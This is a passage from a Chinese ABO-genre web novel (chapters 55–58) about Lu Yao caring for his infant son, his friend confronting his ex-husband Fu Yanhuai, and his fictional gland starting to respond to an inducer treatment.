奶油吃完又被文筝捞起来放到腿上梳毛,奶油的毛很蓬松,缺点是很容易掉毛。 梳毛也算是一种另类解压运动,文筝细细地从小狗脑壳梳到尾巴尖。 夏时越一进来就被可爱到了,他按捺住激动先和文筝问好,“文阿姨,我来和小鹿玩,今晚想和小鹿一起睡一晚。” 奶油扭头看向他,鼻子动了动。 鹿遥在一旁也看着文筝,此刻他有点那种,学生时代带好朋友回家住征求家长同意的微妙感。 鹿遥小声在一边附和,“还有奶油。” 文筝原本还在优雅撸狗,看见这两人忍不住笑起来,“好啊,你们年轻人是更能玩到一起去的。屋子里没有其他人,你们想做什么都行。” 她低头把奶油放到低声,“去吧。” 奶油就兴冲冲地扑到鹿遥脚边嘤嘤嘤,夏时越看得两眼放光,“谢谢文阿姨,那我们带奶油上楼了。” 文筝含笑看着他们,“玩得开心。” 鹿遥回到京城又找回自己的好朋友,文筝心情轻松不少,她转头对女佣道,“拿点水果零食送上去,再看看他们还需要什么。” 刚到鹿遥卧室夏时越就按捺不住了,“天,它的毛毛好软啊!” 好可爱的小狗!热热的!活的!一只小白狗! 鹿遥不知道夏时越这么喜欢狗,“既然喜欢,怎么没养一只宠物?” 夏时越纠结道,“我总觉得养小动物是要对它们负责的,我不知道能不能照顾好。” 夏时越抱着奶油站起身,“年年醒了吗?我去看看他。” 第55章 第 55 章 不配 年年已经醒了, 夏时越抱着奶油一进门就被育婴师团队小小震撼到,每一个人都在一丝不苟地做自己的事,围绕着中间躺着的那个小婴儿。 虽然知道傅家很豪, 但这个豪的程度还是让夏时越忍不住在心里默默吐槽了。 育婴师看到鹿遥进来就自动让开,她对着鹿遥微笑道, “鹿先生,小少爷下午醒来后喝了一次奶, 现在还没有困。” 鹿遥的脸出现在摇篮上方, 年年看见他眼睛当即亮亮地手舞足蹈。 鹿遥忍不住笑着把他抱起来, “好, 我知道了, 谢谢。” 育婴师退出房间, 留给鹿遥和年年单独相处的空间。夏时越不由感叹,“这就是出生在罗马的人生吗,年年怎么这么看着我, 眼睛真大。来, 我抱抱。” 鹿遥听见这话很惊奇, “你不是也在罗马吗?” 夏时越清清嗓子,“和傅家比还是比不过的。” 夏时越把奶油放下,鹿遥就摸摸奶油带它到一边的沙发上坐下, “好胖的小狗, 胖嘟嘟的。” 奶油听不懂,它哼哼唧唧地在鹿遥怀里撒娇。 夏时越不会抱孩子,他僵硬地夹住年年咯吱窝,年年皱起眉头匪夷所思地看着他。 夏时越仔细地看年年的脸,“是挺像你的,小鹿, 眼睛像你。” 傅晏淮的脸至少还算有用,年年长得很可爱。 年年听到小狗的声音挣扎着回头去看,夏时越手忙脚乱怕他脖子受伤,“哎,等等,你先别动。” 夏时越嗖嗖两步坐到鹿遥边上,年年坐得东倒西歪,还伸手抓奶油的毛。 鹿遥很有耐心地道,“不可以,奶油也会疼的。” 夏时越惊奇地发觉年年脸上会露出思考的表情,“我的天,他好聪明。” 鹿遥对这种事不是很确定,“小孩子在发育,这样是正常的。” 鹿遥把奶油的毛毛从年年手里抢救出来,那一撮毛被攥得十分潦草,奶油抬头和鹿遥无辜对视。 年年看起来有点不高兴,不过他也没有哭,但是他不想要夏时越抱了,年年张开手臂要鹿遥。 “这么看着,年年其实没什么异常的地方。”夏时越沉吟道,“文阿姨在尽力照顾他。” 年年很喜欢用脸贴着鹿遥的脖子,鹿遥托住年年的屁股,“通常年年都是在半夜惊醒。” 夏时越担忧地喃喃,“你的腺体…” 鹿遥沉默片刻,“医生已经给我开了药剂,也许会好的吧。” 夏时越也不知道该说什么了,他叹了口气,“至少文阿姨是真心对你的,这算是一件好事。” “是,我也…真心把她当作我的妈妈。” 夏时越安慰地倾身抱住鹿遥肩膀,虽然鹿遥没有一个好的alpha,却的确拥有了一个还算圆满的家庭。有这样的家人,其实也是很不错的。 鹿遥和夏时越一起陪年年和奶油玩了很久,直到年年和小狗都累了要休息,两人才真正拥有独处的闲适时间。 家庭影院不如床上舒服,两人靠在鹿遥的软床上随便播了一部电影看,文筝叫人给他们送了很多好吃的。 “年年是个好孩子。”夏时越躺在床上看电影,心思却飞到了其他地方,“如果当时我再多关注一点,或许你就不会摔倒了。” 夏时越内心其实很懊悔自己当时没有对鹿遥更多关心一些,甚至鹿遥说的那条有关傅晏淮的新闻夏时越也完全没有印象。傅晏淮的新闻是京城商业圈里最多的,夏时越每次都点不感兴趣不希望大数据推送。 当时的一切看起来都十分完美,鹿遥脸上的幸福也不是假的,夏时越理所当然地认为傅晏淮会照顾好他。 “这不是你的错。”鹿遥手脚都很凉,或许是换季的缘故,他总是觉得冷,“是我自己不小心。” 夏时越笃定道,“不,是傅晏淮的错。” 他忽然状似不经意地回头问鹿遥,“明天你还去医院吗?” “不是。”鹿遥算了算时间,“两天以后去。这几天只是先用诱导剂试试看,医生会根据情况再重新调整用量。” 夏时越内心微动,“诱导剂?什么样的,我能看看吗?” 鹿遥点点头,他下床翻到那个透明的试剂递给夏时越,“是这个。” 那一瞬间,夏时越闻到了一点森林雪原的广袤味道,“香的?” 鹿遥愣了一下,“这个不是没有味道的吗?” 他打开后什么都没有闻到。 夏时越听见这话又仔细地重新去闻了一下,但这次那股味道就不见了。 “可能是错觉。”夏时越把诱导剂还给鹿遥,他好奇道,“你已经开始用了吗?腺体有没有好一点。” 鹿遥叹了口气,他摇摇头,“今天用了一支,可什么反应都没有。” 鹿遥很心急地希望腺体能快点好,不然年年也不知道该怎么办。他不想让年年再用人工安抚剂,可是不用年年就会惊醒,鹿遥进退两难。 夏时越宽慰他道,“没事,慢慢来吧。” 夏时越和鹿遥度过了十分和谐的一个夜晚,鹿遥紧绷许久的神经得到放松,第二天,两个人都起晚了。 鹿遥一觉睡到快中午才醒,他还有点不好意思,不过夏时越看着已经习以为常。 夏时越侧身半梦半醒 ,“几点啊,你醒得好早。” 鹿遥小声道,“都快吃午饭了。” 夏时越抱紧被子不想睁开眼睛,他气若游丝道,“照顾孩子的确很累…感觉比我创业还要累。” 昨晚夏时越见到了年年惊醒哭闹的样子,虽然他没出什么力,单单只在边上陪着都已经心力交瘁。 夏时越更加坚定了自己内心的念头,都怪傅晏淮。 “对了。”夏时越抬起头看向鹿遥,“现在傅家老宅只住着你和年年是不是?” 鹿遥一怔,“对,傅晏淮答应了不会来打扰我。” 夏时越心思转了又转,“行,这两天我们好好玩玩。或许你心情变好,腺体也会跟着恢复。” 鹿遥不知道这其间是不是真的有必然联系,不过陪夏时越玩鹿遥是很愿意的。 “好啊,反正我也没什么事做。” 夏时越就真的带着鹿遥满京城到处跑,把他觉得好玩有意思的地方都领着鹿遥逛了个遍。夏时越这两天店都没去,一直和鹿遥一起住着。 直到第三天,鹿遥要去医院检查开药,傅晏淮来傅家老宅接他。 傅晏淮来的时间不早不晚,他计算好了鹿遥起床的时间,加上给年年喂奶和鹿遥自己洗漱吃早饭。确定鹿遥能以正常速度做完这一切,傅晏淮才会停在门口等他。 他来得太早,鹿遥就会知道他在门口等着,鹿遥就会心情不好。 傅晏淮希望鹿遥早上的好心情能多持续一些时间,他知道鹿遥不喜欢看见他。 但傅晏淮还是沉默地抓住这点时间接送鹿遥,尽管他很清楚这样做没有任何用。 傅晏淮好像可以明白当初鹿遥给他做甜品的心情,知道他不喜欢吃,但还是会小心翼翼地挑时间做好送给他,只是为了两人的生活能有一点交集。 夏时越昨晚就知道了傅晏淮今天会来接鹿遥,他看鹿遥在哄年年,抓紧时间走到外面找傅晏淮的车。 夏时越还穿着睡衣,他一眼就看到了门口停着的加长豪车。 “停这么显眼,炫富。” 现在傅晏淮做什么在夏时越心中都是错的,他不屑吐槽一句,随后加快脚步走过去。 夏时越不耐敲敲车窗,“喂。” 车窗匀速下降,露出傅晏淮锋利的眉眼。 傅晏淮挑眉看向他,“你好?” 夏时越很是无语,“你最好放平你的态度,你知不知道我的地位很高啊。” 家世和成就上,夏时越承认自己比不过傅晏淮。但现在他的身份不是夏家小少爷,他是鹿遥最好的朋友。 这个渣a怎么还有底气这么拽的?! 其实这件事上夏时越有点冤枉傅晏淮,傅晏淮是单纯地长相看着攻击性太强,什么情绪都没有就让人觉得被冒犯到。 傅晏淮态度很平和,“我知道,鹿遥很看中和你的友谊。” 夏时越小小切了一声,“算你识相。” “虽然可能没什么用,但我觉得我还是有必要警告一下你。”夏时越越看傅晏淮越嫌弃,觉得他哪哪和鹿遥都不般配,实在配不上他家温柔可人的小鹿,“你和小鹿婚姻破裂,过错方在你,你百分百全责。如果你还有一点良心,就该弥补自己对他的亏欠,然后离他远一点,不要打扰他的生活。” “前面可以做到。”傅晏淮诚恳道,“可我和鹿遥还有一个孩子,不可能做到完全与他形同陌路。” 夏时越火气上涌,“原来你知道你和他有一个孩子啊,那你还让他早产?你还是不是人?” 傅晏淮没有反驳,“以前是我的错,我会弥补对他造成的伤害。” “弥补?你怎么弥补,小鹿肚子上的疤到现在还没好,他生产后身体也很虚弱,医生说他很容易生病。最重要的,你怎么赔他的腺体?你知不知道年年有多难哄,每天鹿遥半夜都要起来折腾好几个小时,到现在你弥补什么了?” 傅晏淮怔然,“他…” 是了,鹿遥怎么会放心育婴师哄年年呢,他这么心疼年年生的病,肯定做不到年年哭泣自己睡觉。 傅晏淮垂下眼,“他什么都不想要。” 夏时越不客气地道,“小鹿不要,那你就不给了?” 夏时越越看傅晏淮越烦,他斩钉截铁道,“都是因为你,要不是小鹿当年兼职碰上你,现在他也是京城大学毕业的优秀学生。” 傅晏淮没明白,“什么?” 夏时越想起自己老爸说过的话,他借着熊熊燃烧的怒火狠狠指责傅晏淮,“那个酒会!鹿遥被泼酒为难,你给他解围,然后沈谨言才造谣的!真是气死我了!” 傅晏淮惊愕到无法反应,夏时越怒不可遏道,“从前没有人对鹿遥好,所以你随手帮了一下他都记在心里。但是你还不如就没有帮过他,鹿遥怎么会喜欢上你这样的人。” 傅晏淮艰难地回想起这段在他人生中太过不起眼的一个小插曲,好像的确是有这么一件事。那时他刚刚接手傅氏集团,根基不稳,公司内外都是虎视眈眈,傅晏淮需要解决一个难缠的刺头来替自己立威。 替那个酒侍解围也只是正面对抗的借口,傅晏淮不记得自己帮过的人是鹿遥,他甚至不记得那个酒侍的脸。 傅晏淮隐约想起那个酒侍的背影很清瘦,好像和鹿遥… 夏时越的话打断傅晏淮的回想,他冷声开口,“你根本就配不上他,也不值得鹿遥喜欢。” 第56章 第 56 章 幸运 年年每天早上都要例行黏人一遍, 喝奶换尿布擦脸洗香香,年年都要黏在鹿遥怀里进行。 年年还是很依赖小鹿玩具,鹿遥隐隐有成为第二个小鹿玩具的趋势, 年年不做选择,他两个都要。 鹿遥每天都很有耐心地陪年年做完这一整套流程, 年年也只是想要爸爸而已,鹿遥尽自己所能地满足他。 “年年推一下, 推一下。看, 是不是动起来了?” 鹿遥抱着年年哄, “好不好玩?” 年年的注意力被新的小木马玩具吸引, 鹿遥把年年放下, 年年乖乖靠着育婴师, 看育婴师玩给他看。 今天出门的时间稍微晚了一点,不过鹿遥也没有太在意,他和文筝打过招呼出门。 鹿遥刚刚迈出大门就愣了一下, “时越?” 鹿遥只能看到夏时越的背影, 傅晏淮被他挡在后面, 鹿遥看不清他的神色。 鹿遥自语道,“这是在做什么呢。” 夏时越和傅晏淮竟然也有话说?鹿遥看着有点担心起来了,夏时越和傅晏淮在一块儿不会吵起来吧, 他记得夏时越一向都不太喜欢傅晏淮的。 鹿遥来的时机很巧, 刚好错过了夏时越情绪激动指责傅晏淮的时刻。他走近时夏时越在平复呼吸,傅晏淮神色一片空白,似茫然又似心痛。 鹿遥没看明白这是怎么了,他疑惑开口问道,“时越?” 夏时越立刻笑容灿烂转过脸,“小鹿, 你来了啊。我刚刚随便逛逛刚好遇到傅总,随口说了两句话。” 随口替鹿遥骂了傅晏淮两句,要不是鹿遥出来得早,夏时越还有话说。 夏时越有点遗憾,没发挥好。 “哦,这样。”鹿遥走到夏时越身旁,“时间还早,你回去再睡一会吧,去医院很快的。” 夏时越小发雷霆,今天算勉勉强强地满意了,他答应得也痛快,“行,我等你。” 夏时越临走又不屑白了傅晏淮一眼,鹿遥没有注意到,他走到另一侧上车。 鹿遥坐稳后车子就正常启动,傅晏淮今天好像难以控制自己的情绪,从鹿遥上车,他就一直沉默地扭头看着鹿遥。 鹿遥终于后知后觉察觉到了点气氛的不对劲,他迟疑转过头,猝不及防刚好和傅晏淮对视。 “你…”鹿遥蹙眉问道,“你有什么事吗?” 傅晏淮掩饰地低下头,“没什么,我只是想问问,当年你到公司里找我…” 鹿遥眉头越皱越紧,“你在说什么。” “其实你早就认识我了,是吗。” 鹿遥怔愣看着傅晏淮。 傅晏淮看上去和鹿遥记忆中的样子似乎并无任何分别,但仔细凝神看去,他并没有了往常的锋锐。鹿遥看不清傅晏淮眼底的是什么,那是难过吗。 “你在之前就认识我,所以,听到我想和beta结婚的消息,主动来找了我。” 傅晏淮接手集团后并非事事都一帆风顺,但不是所有事都值得他放在心上,傅晏淮记得见到鹿遥的那天他心情不算太好,但他不记得自己为什么心情不好。 那天的鹿遥,对当时的傅晏淮来说,是一块送上门来的可口小点心。没有alpha会拒绝送到嘴边的美食,所以他想也没想,临时标记了没有腺体的鹿遥。 傅晏淮原本以为鹿遥是被鹿家要求来找他,或者鹿遥也和其他来接近他的人一样,为了一点肤浅可笑的理由在自荐枕席。 两人的初遇并不平等,傅晏淮也习惯了一直站在高位俯视鹿遥。 但原来一切都不是这样的。 鹿遥别开眼,他避而不答,“这有什么要紧的,不重要。” 傅晏淮自嘲低笑,“是,不重要了。” 鹿遥觉得傅晏淮怪怪的,哪里都很古怪。 傅晏淮低声开口问他,“那个诱导剂,对你的腺体,有一点帮助吗?” “一点用都没有。” 鹿遥有点烦躁,“不止你着急,我也希望能快点好,你不要拿这个来催促我了。” 傅晏淮抿住唇,“我没有。” 鹿遥却不再和他说话,傅晏淮内心升起巨大的挫败和失落感,不管他做什么,鹿遥好像都不会再多看他一眼了。 鹿遥真的已经不再喜欢他了。 傅晏淮这样的人竟然也会犹豫和畏首畏尾,他很想开口为自己辩解,或者再说一些其他的什么,但傅晏淮只怕鹿遥会更讨厌他。 鹿遥说完这句话后其实就意识到傅晏淮其实并没有催促他的意思,是他自己太敏感了,傅晏淮的随口一问都让鹿遥如临大敌,浑身竖起倒刺保护自己。 鹿遥不是对他人口出恶言的性格,他下意识有点后悔,但又想到以前傅晏淮对他也没有态度多好。 鹿遥嘴唇动了几下,最终还是扭头看窗外,什么都没有说。 只要一和傅晏淮待在一起鹿遥就心浮气躁,做什么都觉得不对劲,又对傅晏淮的话太过敏感。 鹿遥知道这是因为自己还没有释怀的缘故,五个月的时间让他对过去两年的婚姻完全放下,这真的很难。 鹿遥默默叹了口气,希望时间能淡化一切。 去医院的流程和上次一模一样,医生又检测了腺体,一点波动都没有。 医生严肃凝神说要改一下诱导剂的用量,鹿遥的心态有点像被寄予厚望的学生,临到考试他却交了白卷。 没有人给鹿遥压力,但鹿遥还是很沮丧,他不知道该怎么回去面对年年。他真的是一个无能的爸爸,连基本的健康都不能给年年。 傅晏淮去拿药,鹿遥又是先回到车里等。 其实这个流程是有点奇怪的,但是鹿遥沉浸在情绪的低气压里,没有心思考虑其他的事。 这次鹿遥在车里等了比上次更长的时间,傅晏淮重新坐回车里的时候唇色有点泛白,鹿遥蹙眉问道,“怎么又是这么久。” 傅晏淮微微停顿一瞬,“下次不会这么久了。” 傅晏淮私心希望能和鹿遥有更多相处的时间,但鹿遥显然很讨厌这样,傅晏淮打算下次提前一点来医院把药配好。 不知道这样会不会有损药效,诱导剂是需要临时抽取腺体/液制作的。 傅晏淮希望一切都能遵照鹿遥的意愿进行,他现在心里很乱,对以后的生活感到深深的迷茫。 就算路程再远,傅家老宅终于也是又要到了。 傅晏淮重新开口,说了从医院出来后的第一句话。 “不要对自己太严苛。” 鹿遥身形微微一僵,他扭头看着窗外,假装没有听到傅晏淮说话。 傅晏淮也不在意,鹿遥不看他,他反而能真正坦荡地看着鹿遥。 仅仅只是看着鹿遥的背影,傅晏淮的眼神都变得温柔下来。 “年年的身体不是你的责任,是我的错。年年能有你这样的爸爸,是他最幸运的事。” 鹿遥呼吸微微颤抖,他执拗地一直盯着窗外,好像有什么从未见过的东西吸引他的目光。 其实鹿遥对傅晏淮的喜欢并不仅仅只因为那次酒会,傅晏淮强大、沉稳,成熟。有他走在前面,就仿佛可以抵御这个世界所有迎面而来的风暴。 在两人刚刚结婚没多久的时候,是傅晏淮主动提出要和鹿遥一起回鹿家一次。 傅晏淮也是带了警告鹿家不要举动太过分的原因,但他在谈话间的确一步步引领着鹿遥拒绝关清露的无理要求。后来鹿遥便拒绝得习以为常了,尽管他内心还是会觉得难过。 傅晏淮无心无意给出的东西却是鹿遥拼尽全力也拿不到的,鹿遥知道,不管是衣服还是复学通知,傅晏淮都没有放在心上过,但是他的确看出了鹿遥应该拥有这些。 就像现在,鹿遥其实并没有需要和期待任何人的肯定,但他确实已经陷在自己的情绪里很久,傅晏淮看出这一句能让鹿遥舒服一些。就像最开始,傅晏淮对鹿遥说,他和鹿千星一样都是关清露的孩子,关清露的喜欢与否都不影响这个事实,他可以表述出自己的不情愿。 傅晏淮对他不上心,但鹿遥依旧无法控制自己对他的仰慕。鹿遥现在不喜欢这样的傅晏淮,因为傅晏淮让他不能保持自己内心的平静。 “他是我的孩子,我要对他负责。” 鹿遥声线听起来很平稳,但他还是没有转过头。 “这是本应做到的事。” “到了。” 鹿遥打开车门就要走,傅晏淮在他身后温声开口,“困的话早上就多睡一会吧,下次我们下午再去医院。” 鹿遥不会因为别人的建议而让育婴师哄睡信息素依赖发作的年年,鹿遥依旧只会自己做这些。傅晏淮无法改变鹿遥的想法,那他可以改变一点其他的小事。 鹿遥下车后心情十分复杂,听傅晏淮的语气,他大概是知道了自己晚上哄睡年年很费力。 这有什么用,如果不是因为他,年年也不会这样。 鹿遥回到房间后拿出了一支药剂,试剂还是如同往常,他又按照前三天的流程等了十分钟,腺体依旧也是毫无反应。 “好吧。” 鹿遥无奈把东西都收起来开窗通风,“看来可能需要几个月才能好。” 鹿遥打开门去隔壁的婴儿房,夏时越好像下定决心要和鹿遥一起住一段时间,他回家去搬自己要用到的东西。 文筝对此喜闻乐见,反正这个庄园也很大,还是同龄人更有共同语言,她很高兴夏时越能和鹿遥在一块儿玩。 “快要五个月了。”鹿遥盘腿坐在地毯上看年年和奶油玩,“年年好像的确长大了一点。” 奶油也长大了一圈,但依然还是一只小狗。 “会觉得幸运吗。” 鹿遥在一边安静看着,年年哼哼唧唧地朝鹿遥伸手。 鹿遥弯眼笑了笑,“能做年年的爸爸,也是一件很幸运的事。” 第57章 第 57 章 酒 夏时越拉了两车的东西浩浩荡荡堂而皇之住进鹿遥的卧室, 文筝看着夏时越这么活泼觉得很新鲜,性格开朗的孩子就是很讨长辈喜欢。 “葡萄酒,度数不高, 小鹿尝一点点。” 文筝看着心情很好,女佣往鹿遥杯子里只倒了浅浅的一杯底。 “谢谢妈妈, 今天的甜品是我做的,选了可露丽。” 鹿遥看着有点像努力学习一天等待家长夸奖的乖宝宝, 文筝心软软的, “我随口一说小鹿都记得, 妈妈一定都吃完。” 育婴师把年年放在婴儿椅里, 傅际中正红光满面逗年年玩。 “哈哈哈哈, 想要啊, 这你可吃不了。” 傅际中越看年年越喜欢,鹿遥回来之后年年就不再那么恹恹的,白白胖胖的很好动, 傅际中喜滋滋的。 夏时越有点满意了, 虽然傅晏淮这个人不行, 但他家还是很不错的。 年年这个宝宝也很好,不错,不错。 “文阿姨, 您家厨子做饭真好吃, 比我店里做得还好吃。” 文筝听见这话才想起来,“你的店开得很有名气,你爸爸很骄傲呢,总是提。” 夏时越一脸不愧是我的表情,“那他之前还不同意我创业,还是靠我的经商天赋, 征服了我爸。” 这话文筝倒很赞同,“一点零花钱而已,再折腾能折腾出什么。小鹿,你不是也想开甜品店吗?妈妈给你开一个。” 鹿遥赶忙拒绝,“不不不,真的不用。我现在对这些都还不了解,贸然开店会赔的。” 文筝宽慰道,“赔了就赔了,赔了又能怎么样,我们重开一个不就行了。” 鹿遥这辈子从来没有坦然地接受别人给的东西,他不觉得这是理所应当的。虽然他知道文筝是真的关心他,但他还是下意识地拒绝。 “还是不要了吧,妈妈,我觉得…” “我觉得挺好的。” 夏时越两眼放光,他对文筝十分真挚道,“文阿姨,您真是非常非常有眼光。” 文筝被哄得笑了两声,“当然。小鹿,你不必有心理负担,当初傅晏淮创业的时候,启动资金比开一家店高几十倍还不止。” 文筝的开一家店,应该不止是鹿遥想的开一家店那么简单,鹿遥偷偷拽夏时越,“虽然有眼光,但是…” “时越,你这次做得就很好啊,我看你很有经商天赋。” 文筝笑道,“你们两个开个连锁品牌吧。” “等等?” 文筝夸奖夏时越有经商天赋,夏时越当场笑出声。 “那太好了。文阿姨,您放心,这次,我一定不会赔钱!” 文阿姨果然是世界上最善解人意的母亲,夏时越心里爽爽的,这还是第一次有人夸他有天赋。 鹿遥两眼一黑,开个连锁品牌应该很不容易的吧,怎么现在提起来就好像买白菜一样简单。 鹿遥犹犹豫豫去看傅际中,不知道年年刚刚在和傅际中玩什么,他气鼓鼓地抓住傅际中手里的筷子,傅际中配合他让他拿走,年年毫不犹豫松开手扔到地上。 傅际中心花怒放地夸奖他,“这么小就知道拿走我手里的筷子,真聪明啊!” 鹿遥扶额叹气,好吧,可能这件事的确就和买白菜一样简单,但愿是他多虑了。 但鹿遥还是去提醒年年,“不可以这样扔爷爷的筷子知道吗,这是不对的。” 年年听不懂鹿遥在说什么,但他能从语气中听出是夸奖还是批评,他抗议地呜呜两声,看着很是委屈。 “算了算了。”傅际中看年年一小坨坐在椅子上很心疼,“我刚刚非要拿筷子逗他的,有错也是爷爷的错,是不是啊?” 文筝的注意力这才转移过去,她对傅际中嫌弃道,“你怎么回事,惹个小孩子不高兴。” 鹿遥又开始担忧了,这样教育是对的吗,会不会有点太纵容年年了。 夏时越发出感慨,“隔辈亲果然是所有家庭都无法避免的,傅家也会这样。” 鹿遥没有体会过这种感觉,他一边觉得太过纵容年年,又一边觉得能得到亲人这样的疼爱是一件很幸福的事。 鹿遥侧头问夏时越,“那,你小时候也会这样吗?” 夏时越点点头,“爷爷奶奶姥姥姥爷都很宠我,但我父母不会这样,尤其是我爸,他是很有原则的。但如果所有人都这么骄纵我的话,我现在可能会是个混世魔王。” 鹿遥看向年年出神,傅晏淮管过年年吗,他管束年年应该会很严格,鹿遥想象不出傅晏淮对着年年温柔和气的样子。 不管怎么样,傅晏淮都是年年的父亲,鹿遥知道以后无法避免会在年年的事上和傅晏淮产生交流。 但是教育孩子的难题出现得也有些太早了,鹿遥现在就已经开始烦恼了。 夏时越看出鹿遥走神,这次他没有理解到鹿遥在想什么,“小鹿,怎么了?” 鹿遥收回目光,“没有,吃饭吧。” 随后夏时越与鹿遥高谈阔论了自己的宏伟设想,文筝毫不犹豫把零花钱塞给鹿遥,随便他干什么都行,但钱一定要花。 这顿饭吃了两个小时才吃完,鹿遥不知不觉多喝了两杯葡萄酒,他酒量很浅,抱住年年回房间时两颊绯红,不过眼睛亮亮的,年年和他一模一样。 年年拉住鹿遥不让他走,鹿遥坐下严肃和他对话,“你要乖乖的,不能做坏宝宝,知道吗。” 年年一只手拉着鹿遥,另一只手指小鹿玩具,他要鹿遥和他一起玩。 奶油哒哒哒迈小短腿跑过来,它嗅了嗅小鹿玩具歪头看鹿遥。 鹿遥瞪圆眼睛,“态度不端正!” 年年看着鹿遥天真无邪地笑起来,他扑进鹿遥怀里,抱着他的脖子。 鹿遥心软了,他抱住年年喃喃道,“不能抓奶油的毛毛,不可以对爷爷发脾气,记住了吗。” 年年发出奶声奶气的嗯嗯声,奶油把脑袋放到鹿遥大腿上。 鹿遥难受地仰头微微张开唇,葡萄酒喝得多了点,他身上好热。 年年却忽然坐在鹿遥手臂上挪来挪去,鹿遥捏捏他的屁股,“乱动。” 年年扒住鹿遥的衣领往他脖子上凑,鹿遥被他贴得更热了,他无奈道,“年年,怎么了?” 年年发出无意义的咿咿呀呀声音,鹿遥热得都有点晕了。 “不行,我别把年年压扁了。” 鹿遥甩甩头,这葡萄酒怎么后劲这么大。 鹿遥想把年年放下,但今天的年年格外不配合,他啊啊叫了两声,化身牛皮糖紧紧黏在鹿遥身上。 鹿遥胡思乱想着年年难道真的变成了邪恶宝宝,但是怎么会有这么可爱的邪恶宝宝呢。 “你和奶油玩。” 鹿遥努力眨了下眼睛,他伸手按铃叫育婴师。 鹿遥迷迷糊糊地感觉到有人把年年抱开,年年好像还哭了。 似乎是夏时越来搀扶他回卧室的,一沾到枕头,鹿遥就沉沉睡着了。 鹿遥睡得很熟,夏时越在上方犹疑看着他。 “小鹿好像有点奇怪…” 夏时越也有点喝多了,他困惑挠头,“喝多了是这样?” 鹿遥现在看起来像是喝了什么十八禁嗯嗯,看起来十分的柔软可口。 夏时越恍然大悟,“看来鹿遥天生就该是omega,怪不得二次分化了。” 鹿遥在睡梦中皱起眉,他无意识抓着枕头一角,看起来很不舒服。 夏时越赶忙蹲下身摸他额头,额头滚烫吓了他一跳,“小鹿,小鹿?” 鹿遥勉强把眼睛拉开一条缝,“我好困…” “你好困?你,你,等等。” 夏时越趁着傅家人都没有睡觉急忙去找了文筝,家庭医生临时加了个班。 “不是发烧。”冯医生笃定对众人开口,“酒精有一定刺激作用,催化了诱导剂。” 鹿遥在房间彻底睡着了,文筝闻言有些自责,“怪我了。” 冯医生赶忙开口,“不是您的错,诱导剂迟早会起效,起反应是很正常的事。” 文筝担忧问道,“那现在呢?小鹿就这样可以吗?” “最好还是再去一下医院。”冯医生镇定道,“或许需要调整诱导剂用量。” 文筝心中微微一动,“好,我知道了,麻烦您。” 夏时越放下心,等到人都走了,文筝回到卧室独自沉思。 傅际中躺床上奇怪看了她一眼,“怎么还不休息?” 文筝回头看着傅际中,她脸上表情很古怪。 “鹿遥只是腺体坏了,但他是omega。你有没有想过,他腺体恢复了,以后会怎么样?” 傅际中不以为意地一笑,“恢复了?恢复那不是更好,以后他和年年就能…” 傅际中说着脸上笑意凝滞,“是啊,他是omega。” 还是被傅晏淮标记过的omega,抑制剂对标记后的腺体是不产生作用的,想要度过发情期就必须依靠自己的alpha。 鹿遥是生产过腺体失衡,又一口气注入了过多抑制剂,于是腺体彻底坏掉了。现在所有人的注意力都放在年年身上,大家都忽略了这个问题。 鹿遥和傅晏淮已经离婚了,鹿遥这个时候恢复腺体,那怎么办? 傅际中颇感头疼,“清洗标记的手术风险很大的,小鹿不能做这个,他身体受不了。” 这件事文筝不能不管了,她是不在乎傅晏淮怎么样。他人高马大身强力壮,s级的腺体让他恢复力也很强悍,傅晏淮怎么都不会出事,但鹿遥不同。 文筝思索着缓慢开口,“冯医生一定把今晚的事告诉给晏淮了,明天还是要去医院。” 傅际中疑惑道,“你想怎么样?” “不是我想怎么样。”文筝纠正他,“这种事情,我们要询问小鹿的意见。” 如果鹿遥想原谅傅晏淮,那文筝就让傅晏淮想办法挽回。如果不愿意,那就不能让傅晏淮再接近他了。 文筝叹了口气,“我想想。” 第58章 第 58 章 变化 鹿遥缓慢睁开眼, 眨了又眨眼睛才聚焦。 鹿遥刚刚动了一下就忍不住闷哼,“好奇怪…身上好疼…” 两杯葡萄酒竟然会带来这么大后劲,他再也不喝了。 文筝坐在床边摸摸鹿遥额头, “小鹿醒了,还有没有不舒服了?” 鹿遥迷迷糊糊转过头, 他看到文筝愣住,“妈妈…” 文筝忍不住笑笑, “这孩子, 睡糊涂了。” 鹿遥耳朵有点红, “没有, 我醒了。” 这一幕和鹿遥梦想中的妈妈一模一样, 他抱住被子有点拘谨地坐起来, “我昨天好像喝多了。” 文筝揉揉鹿遥的头发,她的声音很温柔,“不是喝醉了, 是你的腺体。” 鹿遥瞬间凝滞, “我的腺体, 是我的腺体有反应了?” 鹿遥肉眼可见地高兴起来,“那年年可以每天都睡得很好了!” 文筝拉住鹿遥,她难掩担忧对鹿遥道, “可是, 你和傅晏淮的标记还在,清洗腺体,这个手术太严重了,我在想…” 鹿遥抬手按住后颈,他后知后觉想起这件事。 “妈妈。”鹿遥在被子下面攥紧手,“我知道, 我们两个之间的事是不该打扰您的。傅晏淮做的事和您没有关系,他也、我也没有资格指责他什么。” 文筝心疼了,“当然有资格,你怎么会这么想。” “我们两个之间的事,我一定会处理好的。”鹿遥认真道,“不会再让您担心的。” 文筝对他很好,鹿遥明白做人应该要投桃报李,他不能把这当作是理所应当的。 文筝看出鹿遥的意思,她没有把话说破,“厨房做了粥,一会你下去喝一点,然后,还要去一下医院。” “还有一件事。”文筝故作无事道,“之前你没有回到京城的时候,傅晏淮会每周来一次陪年年,年年已经一周没有接收到他的信息素,所以现在他在年年房间里。” 鹿遥没考虑过这件事,或者说,他下意识忽略不愿意想和傅晏淮有关的事情。 “哦,这样。”鹿遥舔了下唇,“这也是应该的。” 鹿遥没有想过完全自己一个人带年年,傅晏淮毕竟是他的父亲,而傅家又的确可以给年年很多很多鹿遥给不了的东西。 但鹿遥还是有点别扭,“那我就先不过去了。” 文筝仔细观察了一下鹿遥的态度,她心念微转,“好,一会让他直接送你去医院。不用管他,你做你自己的事,不着急。” 鹿遥乖乖点点头,鹿遥不想和傅晏淮碰面,趁着鹿遥下楼吃早餐,文筝去了隔壁看傅晏淮和年年在干什么。 年年记得傅晏淮的味道,毕竟出生后他最亲近的人就只剩下傅晏淮,年年对他并不抗拒。 不过要说多喜欢,那倒也没有。 年年躺在床上,皱着小眉头看傅晏淮。 傅晏淮看着他低低开口,“眼睛和鹿遥一样。” 还算是挺可爱的。 年年看了两眼傅晏淮就看腻了,他在床上拱来拱去找鹿遥。 “小鹿在楼下吃饭。”傅晏淮对年年说话和平常对下属说话没有差别,不像其他人对年年都是哄着的,“不要闹。” 